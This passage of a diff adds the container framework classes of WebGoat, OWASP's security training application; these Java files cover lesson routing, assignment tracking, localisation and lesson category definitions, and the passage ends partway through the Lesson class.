+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ * <p>
+ */
+
+package org.owasp.webgoat.container.assignments;
+
+import lombok.Getter;
+import org.owasp.webgoat.container.i18n.PluginMessages;
+
+import static org.apache.commons.text.StringEscapeUtils.escapeJson;
+
+public class AttackResult {
+
+
+    public static class AttackResultBuilder {
+
+        private boolean lessonCompleted;
+        private PluginMessages messages;
+        private Object[] feedbackArgs;
+        private String feedbackResourceBundleKey;
+        private String output;
+        private Object[] outputArgs;
+        private AssignmentEndpoint assignment;
+        private boolean attemptWasMade = false;
+
+        public AttackResultBuilder(PluginMessages messages) {
+            this.messages = messages;
+        }
+
+        public AttackResultBuilder lessonCompleted(boolean lessonCompleted) {
+            this.lessonCompleted = lessonCompleted;
+            this.feedbackResourceBundleKey = "lesson.completed";
+            return this;
+        }
+
+        public AttackResultBuilder lessonCompleted(boolean lessonCompleted, String resourceBundleKey) {
+            this.lessonCompleted = lessonCompleted;
+            this.feedbackResourceBundleKey = resourceBundleKey;
+            return this;
+        }
+
+        public AttackResultBuilder feedbackArgs(Object... args) {
+            this.feedbackArgs = args;
+            return this;
+        }
+
+        public AttackResultBuilder feedback(String resourceBundleKey) {
+            this.feedbackResourceBundleKey = resourceBundleKey;
+            return this;
+        }
+
+        public AttackResultBuilder output(String output) {
+            this.output = output;
+            return this;
+        }
+
+        public AttackResultBuilder outputArgs(Object... args) {
+            this.outputArgs = args;
+            return this;
+        }
+
+        public AttackResultBuilder attemptWasMade() {
+            this.attemptWasMade = true;
+            return this;
+        }
+
+        public AttackResult build() {
+            return new AttackResult(lessonCompleted, messages.getMessage(feedbackResourceBundleKey, feedbackArgs), messages.getMessage(output, output, outputArgs), assignment.getClass().getSimpleName(), attemptWasMade);
+        }
+
+        public AttackResultBuilder assignment(AssignmentEndpoint assignment) {
+            this.assignment = assignment;
+            return this;
+        }
+    }
+
+    @Getter
+    private boolean lessonCompleted;
+    @Getter
+    private String feedback;
+    @Getter
+    private String output;
+    @Getter
+    private final String assignment;
+    @Getter
+    private boolean attemptWasMade;
+
+    public AttackResult(boolean lessonCompleted, String feedback, String output, String assignment, boolean attemptWasMade) {
+        this.lessonCompleted = lessonCompleted;
+        this.feedback = escapeJson(feedback);
+        this.output = escapeJson(output);
+        this.assignment = assignment;
+        this.attemptWasMade = attemptWasMade;
+    }
+
+    public static AttackResultBuilder builder(PluginMessages messages) {
+        return new AttackResultBuilder(messages);
+    }
+
+    public boolean assignmentSolved() {
+        return lessonCompleted;
+    }
+}

src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java

@@ -0,0 +1,74 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.container.assignments;
+
+import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.users.UserTracker;
+import org.owasp.webgoat.container.users.UserTrackerRepository;
+import org.springframework.core.MethodParameter;
+import org.springframework.http.MediaType;
+import org.springframework.http.converter.HttpMessageConverter;
+import org.springframework.http.server.ServerHttpRequest;
+import org.springframework.http.server.ServerHttpResponse;
+import org.springframework.web.bind.annotation.RestControllerAdvice;
+import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice;
+
+@RestControllerAdvice
+public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
+
+    private UserTrackerRepository userTrackerRepository;
+    private WebSession webSession;
+
+    public LessonTrackerInterceptor(UserTrackerRepository userTrackerRepository, WebSession webSession) {
+        this.userTrackerRepository = userTrackerRepository;
+        this.webSession = webSession;
+    }
+
+    @Override
+    public boolean supports(MethodParameter methodParameter, Class<? extends HttpMessageConverter<?>> clazz) {
+        return true;
+    }
+
+    @Override
+    public Object beforeBodyWrite(Object o, MethodParameter methodParameter, MediaType mediaType, Class<? extends HttpMessageConverter<?>> aClass, ServerHttpRequest serverHttpRequest, ServerHttpResponse serverHttpResponse) {
+        if (o instanceof AttackResult attackResult) {
+            trackProgress(attackResult);
+        }
+        return o;
+    }
+
+
+    protected AttackResult trackProgress(AttackResult attackResult) {
+        UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
+        if (userTracker == null) {
+            userTracker = new UserTracker(webSession.getUserName());
+        }
+        if (attackResult.assignmentSolved()) {
+            userTracker.assignmentSolved(webSession.getCurrentLesson(), attackResult.getAssignment());
+        } else {
+            userTracker.assignmentFailed(webSession.getCurrentLesson());
+        }
+        userTrackerRepository.saveAndFlush(userTracker);
+        return attackResult;
+    }
+}

src/main/java/org/owasp/webgoat/container/controller/StartLesson.java

@@ -0,0 +1,89 @@
+/**
+ * ************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ *
+ * @author WebGoat
+ * @version $Id: $Id
+ * @since October 28, 2003
+ */
+
+package org.owasp.webgoat.container.controller;
+
+import org.owasp.webgoat.container.session.Course;
+import org.owasp.webgoat.container.session.WebSession;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.servlet.ModelAndView;
+
+import javax.servlet.http.HttpServletRequest;
+
+
+@Controller
+public class StartLesson {
+
+    private final WebSession ws;
+    private final Course course;
+
+    public StartLesson(WebSession ws, Course course) {
+        this.ws = ws;
+        this.course = course;
+    }
+
+    /**
+     * <p>start.</p>
+     *
+     * @return a {@link ModelAndView} object.
+     */
+    @RequestMapping(path = "startlesson.mvc", method = {RequestMethod.GET, RequestMethod.POST})
+    public ModelAndView start() {
+        var model = new ModelAndView();
+
+        model.addObject("course", course);
+        model.addObject("lesson", ws.getCurrentLesson());
+        model.setViewName("lesson_content");
+
+        return model;
+    }
+
+    @RequestMapping(value = {"*.lesson"}, produces = "text/html")
+    public ModelAndView lessonPage(HttpServletRequest request) {
+        var model = new ModelAndView("lesson_content");
+        var path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson
+        var lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson"));
+
+        course.getLessons()
+                .stream()
+                .filter(l -> l.getId().equals(lessonName))
+                .findFirst()
+                .ifPresent(lesson -> {
+                    ws.setCurrentLesson(lesson);
+                    model.addObject("lesson", lesson);
+                });
+
+        return model;
+    }
+
+}

src/main/java/org/owasp/webgoat/container/controller/Welcome.java

@@ -0,0 +1,75 @@
+/**
+ *************************************************************************************************
+ *
+ *
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ *
+ * @author WebGoat
+ * @since October 28, 2003
+ * @version $Id: $Id
+ */
+
+package org.owasp.webgoat.container.controller;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.servlet.ModelAndView;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpSession;
+
+/**
+ * <p>Welcome class.</p>
+ *
+ * @author rlawson
+ * @version $Id: $Id
+ */
+@Controller
+public class Welcome {
+
+    private static final String WELCOMED = "welcomed";
+    
+    /**
+     * <p>welcome.</p>
+     *
+     * @param request a {@link javax.servlet.http.HttpServletRequest} object.
+     * @return a {@link org.springframework.web.servlet.ModelAndView} object.
+     */
+    @GetMapping(path = {"welcome.mvc"})
+    public ModelAndView welcome(HttpServletRequest request) {
+
+        // set the welcome attribute
+        // this is so the attack servlet does not also 
+        // send them to the welcome page
+        HttpSession session = request.getSession();
+        if (session.getAttribute(WELCOMED) == null) {
+            session.setAttribute(WELCOMED, "true");
+        }
+        
+        //go ahead and send them to webgoat (skip the welcome page)
+        ModelAndView model = new ModelAndView();
+        model.setViewName("forward:/attack?start=true");
+        return model;
+    }
+    
+}

src/main/java/org/owasp/webgoat/container/i18n/Language.java

@@ -0,0 +1,51 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2017 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ * <p>
+ */
+
+package org.owasp.webgoat.container.i18n;
+
+import lombok.AllArgsConstructor;
+import org.springframework.web.context.request.RequestContextHolder;
+import org.springframework.web.context.request.ServletRequestAttributes;
+import org.springframework.web.servlet.LocaleResolver;
+
+import java.util.Locale;
+
+/**
+ * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the HttpRequest object
+ * when asking for a Locale.
+ *
+ * @author nbaars
+ * @date 2/7/17
+ */
+@AllArgsConstructor
+public class Language {
+
+    private final LocaleResolver localeResolver;
+
+    public Locale getLocale() {
+        return localeResolver.resolveLocale(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
+    }
+
+}

src/main/java/org/owasp/webgoat/container/i18n/Messages.java

@@ -0,0 +1,60 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2017 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ * <p>
+ */
+
+package org.owasp.webgoat.container.i18n;
+
+import lombok.AllArgsConstructor;
+import org.springframework.context.support.ReloadableResourceBundleMessageSource;
+
+import java.util.Properties;
+
+/**
+ * <p>ExposedReloadableResourceMessageBundleSource class.</p>
+ * Extends the reloadable message source with a way to get all messages
+ *
+ * @author zupzup
+ */
+@AllArgsConstructor
+public class Messages extends ReloadableResourceBundleMessageSource {
+
+    private final Language language;
+
+    /**
+     * Gets all messages for presented Locale.
+     *
+     * @return all messages
+     */
+    public Properties getMessages() {
+        return getMergedProperties(language.getLocale()).getProperties();
+    }
+
+    public String getMessage(String code, Object... args) {
+        return getMessage(code, args, language.getLocale());
+    }
+
+    public String getMessage(String code, String defaultValue, Object... args) {
+        return super.getMessage(code, args, defaultValue, language.getLocale());
+    }
+}

src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java

@@ -0,0 +1,86 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2017 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ * <p>
+ */
+
+package org.owasp.webgoat.container.i18n;
+
+import org.springframework.context.support.ReloadableResourceBundleMessageSource;
+import org.springframework.core.io.support.ResourcePatternResolver;
+
+import java.io.IOException;
+import java.util.Properties;
+
+/**
+ * Message resource bundle for plugins.
+ *
+ * @author nbaars
+ * @date 2/4/17
+ */
+public class PluginMessages extends ReloadableResourceBundleMessageSource {
+    private static final String PROPERTIES_SUFFIX = ".properties";
+
+    private final Language language;
+    private final ResourcePatternResolver resourcePatternResolver;
+
+
+    public PluginMessages(Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
+        this.language = language;
+        this.setParentMessageSource(messages);
+        this.setBasename("WebGoatLabels");
+        this.resourcePatternResolver = resourcePatternResolver;
+    }
+
+    @Override
+    protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) {
+        Properties properties = new Properties();
+        long lastModified = System.currentTimeMillis();
+
+        try {
+            var resources = resourcePatternResolver.getResources("classpath:/lessons/**/i18n" +
+                    "/WebGoatLabels" + PROPERTIES_SUFFIX);
+            for (var resource : resources) {
+                String sourcePath = resource.getURI().toString().replace(PROPERTIES_SUFFIX, "");
+                PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
+                properties.putAll(holder.getProperties());
+            }
+        } catch (IOException e) {
+            logger.error("Unable to read plugin message", e);
+        }
+
+        return new PropertiesHolder(properties, lastModified);
+    }
+
+
+    public Properties getMessages() {
+        return getMergedProperties(language.getLocale()).getProperties();
+    }
+
+    public String getMessage(String code, Object... args) {
+        return getMessage(code, args, language.getLocale());
+    }
+
+    public String getMessage(String code, String defaultValue, Object... args) {
+        return super.getMessage(code, args, defaultValue, language.getLocale());
+    }
+}

src/main/java/org/owasp/webgoat/container/lessons/Assignment.java

@@ -0,0 +1,69 @@
+package org.owasp.webgoat.container.lessons;
+
+import lombok.*;
+
+import javax.persistence.*;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * ************************************************************************************************
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ * <p>
+ *
+ * @author nbaars
+ * @version $Id: $Id
+ * @since November 25, 2016
+ */
+@Getter
+@EqualsAndHashCode
+@Entity
+public class Assignment {
+
+    @Id
+    @GeneratedValue(strategy = GenerationType.AUTO)
+    private Long id;
+    private String name;
+    private String path;
+
+    @Transient
+    private List<String> hints;
+
+    private Assignment() {
+        //Hibernate
+    }
+
+    public Assignment(String name) {
+        this(name, name, new ArrayList<>());
+    }
+
+    public Assignment(String name, String path, List<String> hints) {
+        if (path.equals("") || path.equals("/") || path.equals("/WebGoat/")) {
+            throw new IllegalStateException("The path of assignment '" + name + "' overrides WebGoat endpoints, please choose a path within the scope of the lesson");
+        }
+        this.name = name;
+        this.path = path;
+        this.hints = hints;
+    }
+
+}

src/main/java/org/owasp/webgoat/container/lessons/Category.java

@@ -0,0 +1,91 @@
+package org.owasp.webgoat.container.lessons;
+
+import lombok.Getter;
+
+/**
+ * *************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * for free software projects.
+ *
+ * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
+ * @version $Id: $Id
+ * @since October 28, 2003
+ */
+public enum Category {
+
+    INTRODUCTION("Introduction", 5),
+    GENERAL("General", 100),
+    
+    INJECTION("(A1) Injection", 300),
+    AUTHENTICATION("(A2) Broken Authentication", 302),
+    INSECURE_COMMUNICATION("(A3) Sensitive Data Exposure", 303),
+    XXE("(A4) XML External Entities (XXE)", 304),
+    ACCESS_CONTROL("(A5) Broken Access Control", 305),
+    
+    XSS("(A7) Cross-Site Scripting (XSS)", 307),
+    INSECURE_DESERIALIZATION("(A8) Insecure Deserialization", 308),
+    VULNERABLE_COMPONENTS("(A9) Vulnerable Components", 309),
+    SESSION_MANAGEMENT("(A10) Session Management Flaws", 310),
+    
+    REQUEST_FORGERIES("(A8:2013) Request Forgeries", 318),
+
+    
+    REQ_FORGERIES("Request Forgeries", 450),
+    
+    INSECURE_CONFIGURATION("Insecure Configuration", 600),
+    INSECURE_STORAGE("Insecure Storage", 800),
+    
+    
+    AJAX_SECURITY("AJAX Security", 1000),
+    BUFFER_OVERFLOW("Buffer Overflows", 1100),
+    CODE_QUALITY("Code Quality", 1200),
+    CONCURRENCY("Concurrency", 1300),
+    ERROR_HANDLING("Improper Error Handling", 1400),
+    DOS("Denial of Service", 1500),
+    MALICIOUS_EXECUTION("Malicious Execution", 1600),
+    CLIENT_SIDE("Client side", 1700),
+    WEB_SERVICES("Web Services", 1900),
+    ADMIN_FUNCTIONS("Admin Functions", 2000),
+    CHALLENGE("Challenges", 3000);
+
+    @Getter
+    private String name;
+    @Getter
+    private Integer ranking;
+
+    Category(String name, Integer ranking) {
+        this.name = name;
+        this.ranking = ranking;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public String toString() {
+        return getName();
+    }
+}

src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java

@@ -0,0 +1,126 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.container.lessons;
+
+import lombok.extern.slf4j.Slf4j;
+import org.apache.commons.lang3.ArrayUtils;
+import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
+import org.owasp.webgoat.container.assignments.AssignmentHints;
+import org.owasp.webgoat.container.assignments.AttackResult;
+import org.owasp.webgoat.container.session.Course;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.util.CollectionUtils;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.PutMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+
+import java.lang.reflect.Method;
+import java.lang.reflect.ParameterizedType;
+import java.util.*;
+
+import static java.util.stream.Collectors.groupingBy;
+import static java.util.stream.Collectors.toList;
+
+@Slf4j
+@Configuration
+public class CourseConfiguration {
+
+    private final List<Lesson> lessons;
+    private final List<AssignmentEndpoint> assignments;
+    private final Map<String, List<AssignmentEndpoint>> assignmentsByPackage;
+
+    public CourseConfiguration(List<Lesson> lessons, List<AssignmentEndpoint> assignments) {
+        this.lessons = lessons;
+        this.assignments = assignments;
+        assignmentsByPackage = this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName()));
+    }
+
+    @Bean
+    public Course course() {
+        lessons.stream().forEach(l -> l.setAssignments(createAssignment(l)));
+        return new Course(lessons);
+    }
+
+    private List<Assignment> createAssignment(Lesson lesson) {
+        var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());
+        if (CollectionUtils.isEmpty(endpoints)) {
+            log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle());
+            return new ArrayList<>();
+        }
+        return endpoints.stream()
+                .map(e -> new Assignment(e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass())))
+                .toList();
+    }
+
+    private String getPath(Class<? extends AssignmentEndpoint> e) {
+        for (Method m : e.getMethods()) {
+            if (methodReturnTypeIsOfTypeAttackResult(m)) {
+                var mapping = getMapping(m);
+                if (mapping != null) {
+                    return mapping;
+                }
+            }
+        }
+        throw new IllegalStateException("Assignment endpoint: " + e + " has no mapping like @GetMapping/@PostMapping etc," +
+                "with return type 'AttackResult' or 'ResponseEntity<AttackResult>' please consider adding one");
+    }
+
+    private boolean methodReturnTypeIsOfTypeAttackResult(Method m) {
+        if (m.getReturnType() == AttackResult.class) {
+            return true;
+        }
+        var genericType = m.getGenericReturnType();
+        if (genericType instanceof ParameterizedType) {
+            return ((ParameterizedType) m.getGenericReturnType()).getActualTypeArguments()[0] == AttackResult.class;
+        }
+        return false;
+    }
+
+    private String getMapping(Method m) {
+        String[] paths = null;
+        //Find the path, either it is @GetMapping("/attack") of GetMapping(path = "/attack") both are valid, we need to consider both
+        if (m.getAnnotation(RequestMapping.class) != null) {
+            paths = ArrayUtils.addAll(m.getAnnotation(RequestMapping.class).value(), m.getAnnotation(RequestMapping.class).path());
+        } else if (m.getAnnotation(PostMapping.class) != null) {
+            paths = ArrayUtils.addAll(m.getAnnotation(PostMapping.class).value(), m.getAnnotation(PostMapping.class).path());
+        } else if (m.getAnnotation(GetMapping.class) != null) {
+            paths = ArrayUtils.addAll(m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path());
+        } else if (m.getAnnotation(PutMapping.class) != null) {
+            paths = ArrayUtils.addAll(m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path());
+        }
+        if (paths == null) {
+            return null;
+        } else {
+            return Arrays.stream(paths).filter(path -> !"".equals(path)).findFirst().orElse("");
+        }
+    }
+
+    private List<String> getHints(Class<? extends AssignmentEndpoint> e) {
+        if (e.isAnnotationPresent(AssignmentHints.class)) {
+            return List.of(e.getAnnotationsByType(AssignmentHints.class)[0].value());
+        }
+        return Collections.emptyList();
+    }
+}

src/main/java/org/owasp/webgoat/container/lessons/Hint.java

@@ -0,0 +1,43 @@
+/***************************************************************************************************
+ * 
+ * 
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * 
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * 
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * 
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * 
+ * Getting Source ==============
+ * 
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ * 
+ */
+
+package org.owasp.webgoat.container.lessons;
+
+import lombok.Value;
+
+/**
+ * <p>Hint class.</p>
+ *
+ * @author rlawson
+ * @version $Id: $Id
+ */
+@Value
+public class Hint {
+
+    private String hint;
+    private String assignmentPath;
+}

src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java

@@ -0,0 +1,12 @@
+package org.owasp.webgoat.container.lessons;
+
+import org.owasp.webgoat.container.users.WebGoatUser;
+
+/**
+ * Interface for initialization of a lesson. It is called when a new user is added to WebGoat and when a users
+ * reset a lesson. Make sure to clean beforehand and then re-initialize the lesson.
+ */
+public interface Initializeable {
+
+    void initialize(WebGoatUser webGoatUser);
+}

src/main/java/org/owasp/webgoat/container/lessons/Lesson.java

@@ -0,0 +1,136 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.container.lessons;
+
+import lombok.Getter;
+import lombok.Setter;
+
+import java.util.List;
+
+@Getter
+@Setter
+public abstract class Lesson {
+
+    private static int count = 1;
+    private Integer id = null;
+    private List<Assignment> assignments;
+
+    /**
+     * Constructor for the Lesson object
+     */
+    protected Lesson() {
+        id = ++count;
+    }
+
+
+    /**
+     * <p>getName.</p>
+     *
+     * @return a {@link java.lang.String} object.
+     */
+    public String getName() {
+        String className = getClass().getName();
+        return className.substring(className.lastIndexOf('.') + 1);
+    }
+
+    /**
+     * Gets the category attribute of the Lesson object
+     *
+     * @return The category value
+     */
+    public Category getCategory() {
+        return getDefaultCategory();
+    }
+
+    /**
+     * <p>getDefaultCategory.</p>
+     *
+     * @return a {@link org.owasp.webgoat.container.lessons.Category} object.
+     */
+    protected abstract Category getDefaultCategory();
+
+    /**
+     * Gets the title attribute of the HelloScreen object
+     *
+     * @return The title value
+     */
+    public abstract String getTitle();
+
+    /**
